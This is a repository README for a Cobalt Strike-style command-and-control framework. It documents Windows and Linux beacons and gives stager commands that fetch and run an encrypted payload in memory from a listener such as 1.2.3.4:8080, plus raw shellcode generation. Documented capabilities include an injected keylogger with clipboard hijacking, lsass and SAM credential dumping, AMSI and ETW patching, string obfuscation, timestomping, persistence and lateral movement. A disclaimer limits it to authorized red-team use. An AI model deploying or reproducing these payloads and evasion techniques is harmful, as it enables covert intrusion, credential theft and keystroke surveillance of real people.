Skip to content

Repository files navigation

c2

A compact Cobalt Strike-style command & control framework for authorized security testing and red-team labs.

WARNING / DISCLAIMER This tool is provided for educational purposes and for use in environments you are explicitly authorized to test (your own lab, engagements with written permission). Unauthorized use against systems you do not own or control is illegal. The authors take no responsibility for misuse.

Features

  • Teamserver — multi-listener, multi-operator (mini CS team server)
    • raw TCP beacon listener + HTTP polling beacon listener
    • SOCKS5 proxy through a live TCP session
    • reverse port forward (rportfwd), agent-initiated
    • operator chat (broadcast to all operators)
    • per-session notes (synced to every console)
    • downloads stored per session (downloads/<session>/)
  • Windows beacon (agent_win/, mingw-w64) — same wire protocol + crypto as the Linux agent; shell, file ops, ps, sysinfo, getuid, netstat, ipconfig, mounts (drives), screenshot (GDI), keylog (WH_KEYBOARD_LL), clipboard, timestomp, persist (HKCU Run), bof (native COFF loader — no ABI translation needed on Windows), token ops (steal_token / make_token / getsystem / rev2self; shell runs under the held token), psexec lateral movement (remote service + ADMIN$ output harvest), a DNS (TXT) transport (shared common/Dns.cpp), ConPTY interactive shells, channel pivoting, and credential collection (hashdump = SAM+SYSTEM hive export, in-memory lsass minidump for offline cracking, creds = Credential Manager enumeration), and hardening: sensitive Win32 APIs are delay-loaded via GetProcAddress (clean import table), key strings are compile-time XOR'ed (xorstr.hpp), and --profile brings the Malleable C2-lite HTTP shaping to Windows. Further hardening: the embedded RSA public key is compile-time encrypted (no plaintext PEM in the file), the PE carries neutral version resources (version.rc via windres), an amsi task patches in-process amsi!AmsiScanBuffer + ntdll!EventWrite (lab/authorized use only), and xorstr.hpp covers the remaining high-signal strings, (socks through the beacon, agent-side rportfwd), all compiled into the same protocol as the Linux agent. Built with scripts/win-build.sh (requires mingw-w64 + the MSYS2 OpenSSL in build/mingw-prefix, see scripts/win-mingw-openssl.sh).
  • Injected-DLL keylogger (CS-style)keylogger [pid] injects a pure-C keylog.dll into a target process (default: explorer, so no window ever appears), captures every keystroke + the foreground window title/process with a WH_KEYBOARD_LL hook, streams them back over a named pipe to the ccore beacon, and relays them to the teamserver as KEYLOG_DATA events. Also includes a clipboard hijack (1s poll) that tags events as copy / cut / paste / clip. Managed as a CS-style background job (jobs / jobkill <id>), with clean unload (stop event → FreeLibraryAndExitThread) and zombie self-destruct when the beacon dies. GUI: Kestrel-style Keystrokes table (Time/Process/Window/Type/Keys/ Clipboard) with a session picker + Start/Stop/Clear/Export/Filter toolbar.
  • Baked (zero-argument) beaconstools/bake/c2bake appends a C2BEA config tail to any beacon image (Linux ELF or Windows PE); the beacon then runs with 0 CLI arguments by reading its own image tail (Linux /proc/self/exe, Windows GetModuleFileNameA). The Linux staged zero-arg path (c2stager --bake) already existed — see below.
  • Agent (beacon) — two transports:
    • raw TCP: persistent push channel, low-latency, supports pivoting
    • HTTP polling (http://host:port): beacon-style GET/POST every sleep seconds, auto-reconnect, session expiry on the server
    • configurable sleep + jitter, auto-reconnect
    • Malleable C2-lite: a shared profile file shapes the HTTP channel (paths, User-Agent, extra headers, optional body XOR), CS Malleable style
    • BOF (Beacon Object File): in-beacon execution of x86-64 COFF objects with a small Beacon* API (+ raw Linux bofSyscall funnel), clang --target=x86_64-pc-windows-msvc
    • Recon / collection batch (pure /proc + libc): netstat, arp, ipconfig, users, crons, sshkeys, shadow, mounts, getuid, timestomp
    • Desktop collection: screenshot (X11 BMP + Wayland helper chain), keylog (XRecord + root evdev), clipboard (X11 selection), getprivs
    • persist — cron persistence planner / installer (CS-style)
  • Interactive PTY shell (interactive, CS-style) — a persistent /bin/sh -i on the target driven by a real pseudo-terminal; session-persistent state (cd, env, history), works over the TCP transport
  • Operator consoles
    • c2gui — Qt 6/5 desktop console: session table (with notes), event log + team chat, interactive per-session consoles, remote file browser, upload/download with native file dialogs, interactive-shell tab, Generate Stager / payload dialog (CS style: fetch the stage key from the teamserver and produce a ready c2stager command / stager.sh launcher, raw shellcode, or a baked zero-arg beacon via c2bake — Linux or Windows artifact), a VNC desktop viewer, and a Kestrel-style Keystrokes table (Time/Process/Window/Type/Keys/Clipboard with a session picker + Start/Stop/Clear/Export/Filter toolbar for the injected keylogger)
    • c2opctl — pure C++ CLI console (also drives the smoke test); stage-key prints the current stage key / ready c2stager command
  • Built-in commandsshell, ls, cd, pwd, ps, sysinfo, getenv, download, upload, rm, mkdir, cp, mv, scan, sleep, jitter, bof, note, interactive, exit, plus recon: netstat, arp, ipconfig, users, crons, sshkeys, shadow, mounts, getuid, timestomp, persist, plus desktop: screenshot, keylog, clipboard, getprivs

Architecture (logic / UI separation)

+----------------+     +---------------------------+     +---------------+
|  c2gui (Qt)    |     |   teamserver (pure C++)   |     | agent/beacon  |
|  presentation  |<--->|  - agent listener  :4444  |<--->| (pure C++)    |
|  only          |     |  - operator port   :5000  |     | sleep/jitter, |
+-------+--------+     |  - session manager        |     | task exec     |
        |              +---------------------------+     +---------------+
        v                            ^
+-------+----------------------------+-----+
| c2clientcore (pure C++, no Qt)           |
| operator logic: connect, auth, sessions, |
| command dispatch, result/event handling  |
+------------------------------------------+
  • common/ — wire protocol (length-prefixed binary TLV frames), RAII sockets, logging, utils. No Qt.
  • server/ — teamserver. No Qt. One thread per connection; per-socket write mutexes; broadcasts task results and events to all operators.
  • agent/ — beacon. No Qt. Persistent connect-back channel; pushes tasks immediately, heartbeats every sleep interval, auto-reconnects.
  • agent_win/ — Windows beacon + on-demand modules (vnc.dll, int.dll) and the injected keylog.dll (see Injected-DLL keylogger below).
  • agent_win/ccore/slim C core beacon (plain C11, no libstdc++): wire.c (TLV codec), crypto.c (CNG), chan.c (channel relay), klr.c (keylogger injection + pipe relay), jobs.c (background-job table), tasks.c (command dispatch), main.c (TCP beacon loop).
  • clientcore/ — all operator-side logic. No Qt. Callback-based API.
  • client/ — Qt GUI. Pure presentation: Bridge converts ClientCore callbacks into Qt signals (queued across the network thread). Swap this out for any other frontend without touching logic. Tabs include the console, file browser, interactive shell, VNC desktop and the Kestrel-style Keystrokes table.

Build

Requirements: C++20 compiler, CMake >= 3.21, POSIX (Linux/macOS), Qt 6 (or 5) for the GUI — GUI is skipped automatically if Qt is absent.

cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build -j

Binaries: build/server/c2teamserver, build/agent/c2agent, build/tools/c2opctl, build/client/c2gui.

The slim C core beacon (agent_win/ccore/) is built separately with mingw-w64 (plain C11, no libstdc++):

./scripts/ccore-build.sh    # -> build/ccore/ccore.exe (GUI) + ccore-console.exe (debug)

The Windows beacon + on-demand modules (vnc.dll, int.dll, keylog.dll) are cross-compiled with scripts/win-build.sh (needs mingw-w64 + the MSYS2 OpenSSL prefix, see scripts/win-mingw-openssl.sh); module DLLs land in modules/ and are pushed to beacons by the teamserver's modload.

Staged delivery (CS-style)

The teamserver serves the beacon as a two-stage payload like Cobalt Strike:

  • Stage 2 = the real beacon ELF (build/agent/c2agent, --stage-file to change). At startup the teamserver generates a per-listener AES-256 stage key (or fix it with --stage-key <64hex>) and prints it to the log.
  • Stage 1 = build/tools/stager/c2stager, a tiny fetcher that requests GET /stage (or /api/stage), gets the AES-GCM-sealed beacon, decrypts it and executes it from memory (Linux memfd + fexecve — nothing is written to disk, mirroring CS's in-memory reflective load).
# server: print the stage key, serve the beacon ELF over HTTP
./build/server/c2teamserver -p 5000 -P changeme --http-port 8080     --stage-file ./build/agent/c2agent

# attacker box: tiny stager pulls + decrypts + runs the beacon from memory
./build/tools/stager/c2stager http://127.0.0.1:8080 5 --key <stage key hex>

# helper modes
./build/tools/stager/c2stager --fetch http://127.0.0.1:8080 --key <hex> -o stage.bin
./build/tools/stager/c2stager --genstage ./build/agent/c2agent --key <hex> -o stage.bin

From the GUI, click Stager (session table toolbar) to open the generator: it asks the teamserver for the current stage key and can either

  • copy the c2stager command / save a stager.sh launcher, or
  • Generate artifact — burn the listener URL + stage key + sleep into a copy of c2stager, producing a standalone executable that runs with no arguments on the target (CS "Generate Staged Payload" semantics).

From the CLI the same burn happens with --bake:

./build/tools/stager/c2stager --bake ./build/tools/stager/c2stager \
    --url http://1.2.3.4:8080 --sleep 5 --key <64hex> -o stager-linux
# target side, no arguments needed:
./stager-linux

The baked config lives in a tail block (C2CFG� | url | url_len | sleep | key | total_len); the stager reads its own image (/proc/self/exe) at run time. --check <file> prints the baked config.

Headless test: ./scripts/stage-test.sh.

Baked (zero-argument) beacons (c2bake)

Any beacon image — the Linux agent, or the Windows c2agent-win.exe — can be turned into a zero-argument artifact with tools/bake/c2bake:

./build/tools/bake/c2bake --bake ./build/agent/c2agent --url http://1.2.3.4:8080 \
    --sleep 5 --jitter 20 -o ./baked-agent        # Linux
./build/tools/bake/c2bake --bake ./build/agent_win/c2agent-win.exe \
    --url tcp://1.2.3.4:4444 --sleep 5 -o ./baked-agent.exe   # Windows
./build/tools/bake/c2bake --check ./baked-agent   # verify the tail config

./baked-agent            # zero arguments: reads its own image tail and runs

The C2BEA tail block (magic | url_len | url | sleep | jitter | total_len) mirrors the c2stager C2CFG block — one mechanism, both platforms. The Linux staged delivery (c2stager --bake) remains the classic no-arg path there.

Headless tests: ./scripts/bake-test.sh (Linux, real session + shell round trip) and ./scripts/win-bake-test.sh (Windows: bake + shared-parse round trip; no wine on this host, so the PE is not executed here).

Usage

# 1. teamserver (optional HTTP beacon listener on 8080)
./build/server/c2teamserver -a 4444 -p 5000 -P changeme --http-port 8080

# 2. beacons
./build/agent/c2agent 127.0.0.1 4444 5          # raw TCP (sleep 5s)
./build/agent/c2agent http://127.0.0.1:8080 5   # HTTP polling

# 3. operator GUI
./build/client/c2gui            # enter 127.0.0.1:5000 / password

#    ...or CLI console
./build/tools/c2opctl 127.0.0.1 5000 operator changeme

Shellcode stager (CS-style raw stage 1)

--shellcode generates a raw x86-64 shellcode blob (~860 bytes, no ELF header, position-independent, endbr64 for CET/IBT hosts). It embeds the listener IP:port, stage key, sleep and URL, then on the target:

socket → connect → GET /stage?x=1 → read until EOF → skip HTTP header
      → XOR-decrypt (32-byte key) → memfd_create → write → execveat(AT_EMPTY_PATH)

The teamserver serves the XOR variant at /stage?x=1 (serveStageXor()); the beacon ELF is executed straight from the memfd — nothing written to disk.

# generate (config is patched into the blob at the "CFG200" marker)
./build/tools/stager/c2stager --shellcode --host 1.2.3.4 --port 8080 \
    --sleep 5 --key <stage key hex> --base build/tools/shellcode/base.bin \
    -o stager-shellcode.bin

# local debug runner (mmap RWX + jump, same as an injector would do)
./build/tools/stager/c2stager --run-shellcode stager-shellcode.bin

Source: tools/shellcode/stager.S (syscalls only, no libc). For a remote injector, mmap a RWX page, copy the blob and jump to it — endbr64 at entry satisfies CET/IBT. --base defaults to build/tools/shellcode/base.bin.

teamserver options

flag meaning default
-a, --agent-port TCP beacon listener port 4444
--http-port HTTP beacon listener port (0 = off) 0
-p, --op-port operator port 5000
-P, --password operator password changeme
-b, --bind bind address 0.0.0.0
-d, --downloads download storage dir ./downloads
--rsa-key RSA private key PEM for the beacon handshake (default: embedded dev key; must match the beacon public key in agent/pubkey.hpp) embedded
--stage-file beacon ELF served as the stage payload agent/c2agent
--stage-key fixed stage AES key (64 hex); default random per run random
--profile Malleable C2-lite HTTP profile file (shared with HTTP beacons) off

Malleable C2-lite (HTTP profile)

Both the teamserver and the HTTP beacon can load the same profile file to shape the HTTP beacon-channel traffic (a tiny cousin of CS Malleable C2):

# profiles/example.profile
user-agent   = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...
register-uri = /api/client/init
task-uri     = /api/client/poll
result-uri   = /api/client/report
stage-uri    = /assets/theme/dark.js
id-param     = token
header = Accept: application/json, text/plain, */*
header = X-Requested-With: XMLHttpRequest
body-xor-key = 6b3f1c9de8a45702b1d6c0e3f4a58796   # optional anonymous body XOR
./build/server/c2teamserver -p 5000 -P changeme --http-port 8080 \
    --stage-file ./build/agent/c2agent --profile profiles/example.profile
./build/agent/c2agent http://127.0.0.1:8080 5 --profile profiles/example.profile
  • The profile changes the GET/POST paths, the User-Agent, adds headers, and optionally XORs all beacon-channel bodies (on top of the AES-GCM envelope). The stage payload is not XORed — a stager has no profile.
  • Legacy aliases (/task, /api/task, /poll, /stage, …) keep working, so old beacons/stagers are not broken by a profile.
  • Custom stage-uri is reported through stage-key (c2opctl stage-key, GUI Stager dialog) and fetched with c2stager --uri:
./build/tools/stager/c2stager --fetch http://host:8080 --key <64hex> \
    --uri /assets/theme/dark.js -o stage.bin

Baked artifacts and the raw shellcode stager always fetch the default /stage; regenerate them with an unmodified stage-uri or use the command/stager.sh form.

Headless test: ./scripts/profile-test.sh.

BOF (Beacon Object Files)

The beacon loads and executes x86-64 COFF objects in-process — the CS "BOF" model: a tiny stager-less payload whose only external references resolve to a built-in Beacon* API table. Demo BOFs:

./scripts/bof-build.sh    # clang --target=x86_64-pc-windows-msvc -c -> build/tools/bof/*.o

Operator side (GUI console or c2opctl):

upload /tmp/hello.o build/tools/bof/hello.o    # drop the object on the target
bof /tmp/hello.o hello-op-77                   # run it with args

BeaconPrintf output is returned as the task result. Supported API (tools/bof/beacon.h — a subset of CS's): BeaconPrintf, BeaconDataParse, BeaconDataInt, BeaconDataShort, BeaconDataLength, BeaconDataExtract, plus c2 extensions bofSyscall(nr, a1..a5) (raw Linux syscall funnel — open/read/write/close/etc., see tools/bof/syscall.c) and bofSleep(ms). Arguments are packed as NUL-terminated tokens exactly like CS's DataParser. Limitations of this educational loader: no libc in BOFs (only the Beacon* API, like real BOFs), BeaconPrintf supports a literal format plus up to two %s arguments, and the entry symbol must be go(char* args, int len). Relocations are applied per-section (code with R+X, data R/W) and the entry runs synchronously in the beacon task worker.

Headless test: ./scripts/bof-test.sh (hello / args / syscall demos).

Injected-DLL keylogger (CS-style) + background jobs

A CS-style keylogger that injects a pure-C DLL into a target process, plus a jobs / jobkill management layer for background tasks.

                         ┌──────────────────────────────┐
                         │ target process (e.g. explorer)│
                         │  keylog.dll (pure C)          │
                         │   WH_KEYBOARD_LL hook         │
                         │   clipboard hijack (1s poll)  │
                         └──────────────┬───────────────┘
                                        │ named pipe (frames)
                                        ▼
                         ┌──────────────────────────────┐
                         │ ccore beacon (klr.c)         │
                         │  pipe server + reader thread  │
                         │  KEYLOG_DATA frames (sealed)  │
                         └──────────────┬───────────────┘
                                        ▼
                         ┌──────────────────────────────┐
                         │ teamserver → EV_KEYLOG        │
                         │ broadcast to all operators    │
                         └──────────────┬───────────────┘
                                        ▼
                         ┌──────────────────────────────┐
                         │ c2gui Keystrokes table        │
                         │ Time/Process/Window/Type/     │
                         │ Keys/Clipboard + session picker│
                         └──────────────────────────────┘

Usage (beacon console or c2gui Keystrokes toolbar):

keylogger              # inject into explorer (no new window, captures all fg input)
keylogger <pid>        # inject into a specific process
keylogger stop         # stop + unload the injected DLL
jobs                   # list running background jobs (keylogger, VNC)
jobkill <id>           # stop a job by id (unloads the injected DLL too)

Architecture & implementation notes:

  • agent_win/keylog.c — the injected DLL (compiled with gcc -shared, no libstdc++, only KERNEL32/USER32). On injection (kl_connect, resolved by RVA from the target's module base) it:
    • installs a WH_KEYBOARD_LL global hook (captures every foreground keystroke regardless of the focused window);
    • reads the foreground window title + process name (GetWindowTextW / QueryFullProcessImageNameW) for each event;
    • runs a clipboard hijack poll (~1s) that tags events copy / cut / paste (Ctrl+C/X/V detection) or clip (generic content change);
    • streams frames back over a named pipe (\\.\pipe\c2kl_<pid>_<n>).
  • agent_win/ccore/klr.c — the injector + relay inside the slim C beacon:
    • creates the pipe server, VirtualAllocEx + WriteProcessMemory a klcfg (pipe name + stop event), CreateRemoteThread(LoadLibraryA) then a second CreateRemoteThread(kl_connect) (RVA-computed, 64-bit-safe via Toolhelp module enumeration, not the truncating GetExitCodeThread trick);
    • a reader thread parses frames (streaming, magic-resynced) and forwards them as KEYLOG_DATA{ SESSION_ID, DATA, KEYLOG_TITLE, KEYLOG_PROCESS, KEYLOG_TYPE }.
  • Unload & hygiene:
    • jobkill / keylogger stop set a named stop event → the DLL unhooks and FreeLibraryAndExitThread()s itself (no zombie hook, no locked DLL file);
    • if the beacon dies, the DLL self-destructs after ~2.5s of failed pipe writes / PeekNamedPipe probes (no lingering hook that would duplicate future captures);
    • a duplicate-injection guard refuses to inject when the DLL is already resident in the target (restart explorer to clear stale instances).
  • Background jobs (agent_win/ccore/jobs.c) — a tiny job table (jobs_register / jobs_unregister / jobs_list / jobs_kill) with a stop callback per job. The keylogger registers one on start; the VNC server (desktop) registers one too, so jobkill can stop both. jobs renders a CS-style table (Job ID Type Description).

GUI (c2gui Keystrokes tab) — Kestrel-style table with columns Time / Process / Window / Type / Keys / Clipboard:

  • toolbar: session picker + Start / Stop / Clear / Export / Filter;
  • Start injects into the picked beacon (modload + keylogger), Stop stops; the two buttons are mutually exclusive (Start disabled while running);
  • consecutive keystrokes in the same window are batched into one row (123123Keys=123123), window/type/gap switches start a new row;
  • control characters are rendered as tokens ([enter], [tab], …) so rows stay single-line;
  • the beacon console also shows a CS-style summary line ([ts] [+] received keystrokes from <window> by <user>), throttled per window switch, without stealing focus from the console tab.

Wire: agent→server KEYLOG_DATA (60), server→operators EV_KEYLOG (61), tags KEYLOG_TITLE (26) / KEYLOG_PROCESS (27) / KEYLOG_TYPE (28, key|copy|cut|paste|clip). The injected DLL is served by the teamserver via modload keylog from modules/keylog.dll (built by scripts/win-build.sh).

Linux recon / collection + persist

One-shot recon commands (pure /proc + libc, no spawned helpers — available on both TCP and HTTP beacons):

netstat   TCP/UDP connections + listeners with pid/comm (/proc/net/*)
arp       neighbour table (/proc/net/arp)
ipconfig  interfaces via getifaddrs + MAC + link state (/sys/class/net)
users     live login sessions (utmp)
crons     /etc/crontab, /etc/cron.d, spools + systemd .timer declarations
sshkeys   ~/.ssh key inventory (types, perms, first line)
shadow    /etc/passwd users; /etc/shadow hashes when running as root
mounts    /proc/mounts
getuid    uid/euid/gid + names + home
timestomp <path> [epoch|now]   set atime+mtime (utimensat)
persist [install|remove]       cron persistence: dry-run planner by default;
                               `install` writes a @reboot entry re-launching
                               this beacon via crontab if available

Headless test: ./scripts/recon-test.sh.

Desktop collection (screenshot / keylog / clipboard)

screenshot [path] tries, in order: X11 XGetImage -> BMP (works on X11 and XWayland), then the helper chain grim (Wayland/wlroots), gnome-screenshot / spectacle (Wayland desktop portal), import / scrot / maim, then a raw /dev/fb0 dump. On a Wayland desktop with grim or a portal helper installed the result is a real desktop capture (verified here on a live Wayland session).

keylog start|stop captures keystrokes with raw evdev (/dev/input, preferred, needs root — the only Wayland-native path) or falls back to X11 XRecord (non-root, X11/XWayland clients only; Xvfb's RECORD never delivers, so automated tests cover the logic + round trip, see scripts/keylog-unit.sh). Capture appends to a buffer returned by keylog stop.

clipboard [clipboard|primary] reads the X11 selection as UTF-8 text via XConvertSelection.

Headless tests: ./scripts/desktop-test.sh (Xvfb: pixel-verified screenshot, keylog round trip, clipboard, getprivs) and ./scripts/keylog-unit.sh (evdev decode + graceful behavior).

VNC desktop (desktop, Windows/ccore) — an on-demand module (vnc.dll, libvncserver) runs an RFB server on 127.0.0.1:5900 inside the beacon; the GUI opens a viewer that tunnels RFB through the teamserver's vnc <lport> local forward over the C2 channel (no extra port reachable on the target). desktop stop / jobkill <vnc-job> stops the server AND unloads the module (FreeLibrary after joining the capture/event threads), so no code stays resident after teardown.

Console commands (per session)

help                        command list
shell <cmd>                 run a command on the target (one-shot)
ls [path] / cd <path> / pwd file system access
getenv                      dump environment variables
ps                          list processes (Linux)
sysinfo                     host info / uptime / cpu / memory (Linux)
interactive                 open a persistent PTY shell (TCP beacons)
download <path>             fetch file from target
upload <dst> [src]          push a local file to the target
rm <path> / mkdir <path>    delete / create
cp <src> <dst> / mv <s> <d> copy / move on target
scan <hosts> <ports>        tcp connect scan (e.g. scan 10.0.0.0/24 22,80,443)
socks <port>                SOCKS5 proxy through this session (TCP beacons)
socks stop <port>           stop a SOCKS listener
rportfwd <lport> <host> <port> reverse port forward (agent listens, data
                            piped to target reachable from the teamserver)
rportfwd stop <lport>       stop a reverse forward
sleep <seconds>             set beacon interval
jitter <percent>            set sleep jitter (0-90)
bof <path> [args...]        run a COFF Beacon Object File on the target
netstat | arp | ipconfig    network recon (connections/neighbours/interfaces)
users | crons | sshkeys     login sessions, cron sources, ~/.ssh inventory
shadow | mounts | getuid    password db (root), mounts, current identity
getprivs                    Linux capability sets (CapEff/Prm/Bnd)
screenshot [path]           capture the desktop (X11 BMP, grim/portal helpers)
keylog start|stop           keystroke capture (root evdev / X11 XRecord)
keylogger [pid]             CS-style injected keylogger (Windows beacon/ccore):
                            injects keylog.dll into the given process (no pid =
                            explorer) and streams keys + clipboard to the
                            Keystrokes table; 'keylogger stop' halts it
jobs                        list running background jobs (CS-style)
jobkill <id>                terminate a background job by id (stops the
                            keylogger / VNC and unloads their DLLs)
clipboard [clipboard|primary] read the X11 selection as text
timestomp <p> [epoch|now]   set a file's atime+mtime
persist [install|remove]    cron persistence planner / installer (dry-run by default)
note <text>                 attach a note to this session
exit                        terminate the session
chat <text>                 team-wide message (opctl)
help / clear / quit         console-local

shell vs interactive

  • shell <cmd> is a one-shot command: the agent runs it via popen and streams back the output (like Cobalt Strike's shell = cmd /c).
  • interactive gives a real persistent shell: the agent forks /bin/sh -i on a pseudo-terminal and streams raw I/O over the C2 channel. State (cwd, env, terminal echo) persists between commands. In the GUI a dedicated tab opens; in c2opctl stdin lines are forwarded (type \close to leave). Requires a TCP beacon (channels need the live connection).

Double-click a session row (or select + Interact) in the GUI to open its console; Files opens the remote file browser for the selected session. Pivoting commands (socks, rportfwd) only work against TCP beacons; HTTP beacons see them as errors.

Headless testing

./scripts/smoke.sh          # TCP + HTTP beacons, shell/note round trip
./scripts/profile-test.sh   # Malleable C2-lite: custom URIs/headers/XOR
./scripts/bof-test.sh       # BOF: cross-compile, upload, run, verify output
./scripts/recon-test.sh     # recon/collection: netstat..persist round trip
./scripts/desktop-test.sh   # desktop: pixel-verified screenshot/keylog/clipboard
./scripts/keylog-unit.sh    # keylog capture logic unit test
./scripts/bake-test.sh      # zero-arg beacons: c2stager staged + c2bake TCP (real sessions)
./scripts/win-bake-test.sh  # Windows baked config carry/parse (compile-level)

# GUI without a display:
QT_QPA_PLATFORM=offscreen ./build/client/c2gui 127.0.0.1 5000 gui changeme 4 \
# optional screenshot: env C2_SCREENSHOT=/tmp/gui.png ...

Protocol

Frames: u32 magic | u32 body_len | u16 msg_type | u16 flags | TLV... Field: u16 tag | u16 type | u32 len | value (types: u32/u64/str/bytes). Max frame 64 MiB. See common/include/c2/Protocol.hpp.

Channel security (both transports):

  1. The beacon generates a fresh AES-256 key per run and wraps it with the server RSA public key (agent/pubkey.hpp), sending AGENT_HELLO (AES_KEY = RSA-OAEP(SHA-256) wrapped key, NONCE + META = AES-256-GCM sealed AGENT_REGISTER metadata).
  2. The teamserver unwraps the key with its private key (server/privkey.hpp by default, --rsa-key to override), registers the session and replies with SERVER_HELLO_OK (TCP) / SERVER_REGISTER_OK (HTTP), AES-sealed.
  3. Every frame after the handshake is an ENCRYPTED wrapper (NONCE + DATA = AES-256-GCM of the inner frame) — agent <-> teamserver both ways, including HTTP polling bodies.

The legacy plaintext AGENT_REGISTER path is still accepted by the server for compatibility/debugging.

Keylog events (see Injected-DLL keylogger above):

  • KEYLOG_DATA (60) — agent→server: SESSION_ID, DATA (keystroke token or clipboard text), KEYLOG_TITLE (26, foreground window title), KEYLOG_PROCESS (27, foreground process name), KEYLOG_TYPE (28, key|copy|cut|paste|clip).
  • EV_KEYLOG (61) — server→operators: the same fields, broadcast to every operator so each GUI Keystrokes table can pick up its sessions.

The injected DLL streams frames over a named pipe to the beacon (agent_win/ccore/klr.c), which seals each as a KEYLOG_DATA frame; the server converts it to EV_KEYLOG and broadcasts. The pipe frame header is u32 magic | u32 len | u8 type (type 1 = keystroke, 2 = status, 3 = clipboard), payloads are length-prefixed so no string escapes are needed.

Extending

  • Add a task type: handle it in agent/main.cpp:executeTask (Linux) / agent_win/ccore/tasks.c:c2c_task_dispatch (slim C core), dispatch it from the consoles via sendCommand(sid, type, ...).
  • Add a background task: register a job in agent_win/ccore/jobs.c (jobs_register("kind", desc, stop_cb)) — jobs lists it, jobkill <id> invokes your stop callback (see klr.c / tasks.c VNC job for examples).
  • Add an on-demand module: build a DLL in scripts/win-build.sh, drop it in modules/, load it with modload <name> — the module exports mod_* functions that the task dispatcher calls (see vncmod.cpp, intmod.cpp, keylog.c).
  • Add a transport: implement an accept loop in server/ plus a matching beacon loop in agent/ speaking the same Message framing (see httpSession/acceptHttp vs handleAgent).
  • Session state is transport-agnostic (Session in TeamServer.hpp): TCP sessions deliver tasks over the live socket, HTTP sessions queue tasks for the next poll.
  • The GUI never touches sockets or protocol directly — keep it that way.

About

No description, website, or topics provided.

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages